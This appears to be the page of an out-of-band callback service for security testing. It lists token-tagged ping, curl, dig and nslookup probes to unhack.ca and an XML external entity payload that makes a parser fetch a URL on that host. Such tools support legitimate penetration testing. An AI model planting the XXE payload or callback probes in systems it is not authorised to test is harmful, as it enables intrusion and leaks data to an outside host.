$ ping -c1 -p 0019874e264097d2c78c756e0ab31d00 unhack.ca
 
$ curl http://unhack.ca/p/19874e264097d2c78c756e0ab31d
 
$ dig 19874e264097d2c78c756e0ab31d @unhack.ca
 
$ dig 19874e264097d2c78c756e0ab31d.ns.unhack.ca
 
C:\> nslookup 19874e264097d2c78c756e0ab31d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/19874e264097d2c78c756e0ab31d">]>
    <foo>&xxe;</foo>
 
Waiting for ping...